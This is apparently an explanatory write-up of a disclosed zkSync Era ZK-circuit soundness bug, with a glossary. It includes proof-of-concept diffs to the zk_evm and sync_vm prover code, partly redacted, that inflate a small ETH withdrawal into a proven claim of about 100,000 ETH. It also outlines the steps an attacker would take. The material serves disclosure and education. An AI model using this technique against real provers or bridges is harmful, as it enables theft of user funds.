function withdraw(address _l1Receiver) external payable override { uint256 amount = _burnMsgValue(); bytes memory message = _getL1WithdrawMessage(_l1Receiver, amount); L1_MESSENGER_CONTRACT.sendToL1(message); emit Withdrawal(msg.sender, _l1Receiver, amount);}function _getL1WithdrawMessage(address _to, uint256 _amount) internal pure returns (bytes memory) { return abi.encodePacked(IMailbox.finalizeEthWithdrawal.selector, _to, _amount);}
Line by line:
function withdraw(address _l1Receiver) external payable override {declares a function that anyone can call, that can receive ether (payable), and that takes the Ethereum address where the funds should go.uint256 amount = _burnMsgValue();destroys the ether sent with the call and records how much was destroyed.bytes memory message = _getL1WithdrawMessage(_l1Receiver, amount);builds the message that will be sent to Ethereum, containing the recipient and the amount.L1_MESSENGER_CONTRACT.sendToL1(message);sends that message to Ethereum.emit Withdrawal(msg.sender, _l1Receiver, amount);records an event so the withdrawal is visible in logs.function _getL1WithdrawMessage(address _to, uint256 _amount) internal pure returns (bytes memory) {is a helper that builds the message bytes.return abi.encodePacked(IMailbox.finalizeEthWithdrawal.selector, _to, _amount);packs three things into one byte string: a short identifier for the "finalise withdrawal" function, the recipient address, and the amount.
So the function burns the ether sent with the call and then sends a message to Ethereum certifying the withdrawal. The goal is to burn a small amount on zkSync Era while producing a message whose _amount field is much larger.
The helper _getL1WithdrawMessage writes the message into a bytes array in memory. That compiles to the following EraVM assembly code:
...add @CPI0_20[0], r0, r2 ld.1 64, r1 add 32, r1, r3st.1 r3, r2 shl.s 96, r4, r2add 36, r1, r3st.1 r3, r2 add 56, r1, r2st.1 r2, r5 add 56, r0, r2st.1 r1, r2 ...
Line by line, at a high level:
add @CPI0_20[0], r0, r2loads a constant into registerr2.ld.1 64, r1loads a value from memory at offset 64 into registerr1.add 32, r1, r3computesr1 + 32intor3.st.1 r3, r2stores registerr3into memory at the address inr2. This is a store instruction.shl.s 96, r4, r2shifts a value left by 96 bits intor2.add 36, r1, r3computesr1 + 36intor3.st.1 r3, r2stores again.add 56, r1, r2computesr1 + 56intor2.st.1 r2, r5stores again.add 56, r0, r2computesr0 + 56intor2.st.1 r1, r2stores again.
Each st.1 instruction stores a register value into the heap at a given offset. These stores are allowed to be misaligned, meaning the address is not a multiple of 32 bytes. The EraVM translates each misaligned store into two aligned MemoryWriteQuery entries. So when the _amount parameter is stored, two aligned write queries are created:
{ memory_page: CUR_HEAP_PAGE, memory_index: (r1 + 56) // 32, value: (uint256(_to) << 64) | (_amount >> 192)},{ memory_page: CUR_HEAP_PAGE, memory_index: (r1 + 56) // 32 + 1, value: (_amount << 64)}
Line by line:
- The first query is for the memory page
CUR_HEAP_PAGE, at index(r1 + 56) // 32(integer division by 32). Its value combines the recipient address shifted left by 64 bits with the top bits of the amount. - The second query is for the same page, at the next index. Its value is the amount shifted left by 64 bits.
Exploit code
The goal is to change the value of the second write query so that the withdrawal message claims a much larger amount. To do that, the researchers edited the code that handles write queries in both EraVM implementations. Each edit follows the same logic:
- Check whether the
_amountvalue being written matches a magic value, such as0x1371337137, which is about 0.00002 ETH. - If it does, change the high 128 bits of the misaligned write so that
_amountbecomes a huge value, such as0x152d0000133713371337, which is about 100,000 ETH.
Change to the zk_evm repository:
- -- a/src/opcodes/execution/uma.rs@@ -371,6 +371,14 @@ impl<const N: usize, E: VmEncodingMode<N>> DecodedOpcode<N, E> { (word_0_read_value >> (word_0_lowest_bytes * 8)) << (word_0_lowest_bytes * 8); // add highest bytes into lowest for overwriting new_word_0_value = new_word_0_value | (src1 >> (unalignment * 8));++ // see if we're writing 0x1337133713370000000000000000+ if new_word_0_value.0[1] == 0x133713371337 {+ // if so, instead write [redacted]+ new_word_0_value.0[2] = 0x152d;+ }+ // we need low bytes of old word and place low bytes of src1 into highest // cleanup highest bytes let mut new_word_1_value =
Line by line:
- The lines starting with
-and+are a diff, a format that shows what was removed and added to a file. The file issrc/opcodes/execution/uma.rs, which handles the store instruction. - The unchanged lines show the existing logic that merges the old word and the new value for a misaligned store.
+ // see if we're writing 0x1337133713370000000000000000is a comment explaining the check.+ if new_word_0_value.0[1] == 0x133713371337 {checks whether the second 64-bit piece of the value being written equals the magic number.+ // if so, instead write [redacted]is a comment describing the replacement.+ new_word_0_value.0[2] = 0x152d;overwrites the third 64-bit piece with0x152d, which turns the small amount into the huge one.+ }closes the check.
Change to the sync_vm repository:
- -- a/src/vm/vm_cycle/memory_view/write_query.rs@@ -60,6 +60,11 @@ impl<E: Engine> MemoryWriteQuery<E> { _ => (None, None),};+ let u64_word_2 = if let Some([redacted]) = lowest_128.get_value() {+ Some(0x152d)+ } else {+ u64_word_2+ };// we do not need to range check everything, only N-1 ut of N elements in LClet u64_word_2 = UInt64::allocate_unchecked(cs, u64_word_2)?;
Line by line:
- The file is
src/vm/vm_cycle/memory_view/write_query.rs, which builds the write query in the circuit implementation. + let u64_word_2 = if let Some([redacted]) = lowest_128.get_value() {checks whether the lower 128 bits equal the magic value.+ Some(0x152d)is the replacement value for the second 64-bit word.+ } else {and+ u64_word_2keep the original value when the check fails.+ };closes the expression.- The unchanged line
let u64_word_2 = UInt64::allocate_unchecked(cs, u64_word_2)?;then creates the circuit variable from the (possibly modified) value.
This change only alters the witness value assigned to the variable. It does not change the constraints the circuit produces, which is exactly what the unconstrained bits allow.
Running the exploit
With both changes in place, a sequencer or prover can process a withdrawal of the magic value 0x133713371337 wei (about 0.00002 ETH) and produce a proven batch claiming that the recipient withdrew 0x152d0000133713371337 wei (about 100,000 ETH). The zkSync Era smart contracts would accept the proof, after which the attacker could drain 100K ETH from the bridge. The full proof-of-concept is published in the chainlight-io/zksync-era-write-query-poc repository.
Impact
Because of the security layers in place at the time, it would have been difficult for anyone other than Matter Labs to carry out this exploit. For an outside attacker, the scenario would look like this:
- Compromise the zkSync Era backend to inject the malicious code, or steal the zkSync Era validator private key.
- Run the exploit described above.
- Wait out the 21-hour execution delay, and hope the team does not freeze the protocol before the stolen funds are withdrawn.
The execution delay makes practical exploitation difficult today. But the chances of pulling off such an attack rise significantly in a more decentralised future, where an admin team manages the protocol less directly.
Securing the ZK-circuits that power L2s is therefore a crucial part of Ethereum's long-term scaling roadmap. The researchers praised the zkSync Era team for offering rewards for ZK-circuit bugs and expressed the hope that more security researchers will review these critical circuits.
Glossary
- API: an interface that lets one piece of software ask another to do something, without needing to know how it works inside.
- Aux heap: the second of the EraVM's two memory regions, used for temporary data and for passing data between contracts.
- bn254: an elliptic curve used in the zkSync Era circuits; one field element on it can reliably hold 253 bits.
- Bridge: a system that moves funds between two blockchains, holding them on one side while issuing them on the other.
- Calldata: the data sent along with a call to a smart contract.
- Circuit (ZK-circuit): a description of a computation in a form that can be turned into mathematical constraints and proven.
- Constraint: a rule that the numbers in a proof must obey; constraints are what make a proof meaningful.
- Constraint system (
cs): the object threaded through circuit code that collects constraints; a function produces constraints only if it takes it as an argument. - EraVM: zkSync Era's execution environment, a type-4 ZK-EVM with its own instruction set.
- Ether (ETH): the cryptocurrency of Ethereum.
- EVM: the Ethereum Virtual Machine, the standard environment in which Ethereum smart contracts run.
- Execution delay: a waiting period before a withdrawal or other action takes effect, giving the team time to react to problems.
- Fat pointer: an EraVM value that records that it is a pointer into another heap, with rules about how it may be passed between contracts.
- Field element: a number in the finite field used by the proof system; the basic unit the circuits work with.
- Heap: a region of memory used for temporary data and for passing data between contracts.
- Kernel mode: a privileged mode in which system contracts may execute instructions ordinary contracts cannot.
- Keccak: Ethereum's hash function, used among other things to compute hashes inside the EraVM.
- L1 / L2: layer 1 is the base blockchain (Ethereum here); layer 2 is a chain built on top of it that settles back to it.
- LinearCombination: an expression of the form
a_0 v_0 + a_1 v_1 + … + a_n v_nwith fixed coefficients and circuit variables; it only becomes a constraint when explicitly turned into one. - Main VM circuit: the circuit that constrains the order of instructions and basic operations, and emits the memory queue.
- Memory queue: the list of memory reads and writes produced by the circuits, later checked for consistency.
- MemoryQuery / RawMemoryQuery: the data structures describing one memory access, in simplified and packed forms.
- Misaligned store: a write to a memory address that is not a multiple of 32 bytes, which the EraVM splits into two aligned writes.
- Mimic call: a call made by
MsgValueSimulatorthat makes the callee think it was called directly with ether attached. - Permutation argument: a standard ZK technique for proving that two lists contain the same items, possibly in a different order.
- Proof: a short piece of data that convinces a verifier a computation was done correctly, without redoing it.
- Prover: the party that performs a computation and produces a proof.
- RAM Permutation circuit: the circuit that checks the memory queue is self-consistent.
- Recursive circuit: a circuit that verifies proofs produced by other circuits, allowing unlimited computation to be proven with a fixed-size circuit.
- Register: a small named slot inside a processor that holds a value.
- Returndata: the data returned from a call to a smart contract.
- Sequencer: the node that orders and executes transactions on an L2.
- Smart contract: a program that lives on a blockchain and runs automatically when called.
- Soundness: the property that a dishonest prover cannot produce a valid proof for a false statement.
- Soundness error: a failure of soundness, where a proof for something false is accepted.
- State root: a short fingerprint of the entire state of a blockchain at a given moment.
- System contract: a privileged contract that runs in kernel mode and performs tasks ordinary contracts cannot.
- Trace: a detailed record of execution produced by the out-of-circuit VM and used as witness data.
- Type-4 ZK-EVM: a ZK-EVM that accepts the same high-level languages as Ethereum but compiles to its own instruction set.
- USDC: a cryptocurrency stablecoin pegged to the US dollar.
- Validity proof: a short, cheap-to-check proof that a computation was done correctly.
- Validium: an L2 that uses validity proofs but keeps its data off the L1.
- Verifier: the party that checks a proof.
- Wei: the smallest unit of ether; one ether is 10^18 wei.
- Witness: the private input data a prover uses to build a proof.
- ZK-EVM: an execution environment that behaves closely like the EVM and whose execution can be proven.
- ZK-rollup: an L2 that uses validity proofs and keeps its data on the L1.
- ZK-SNARK / ZK-STARK: two families of proof systems used to build validity proofs.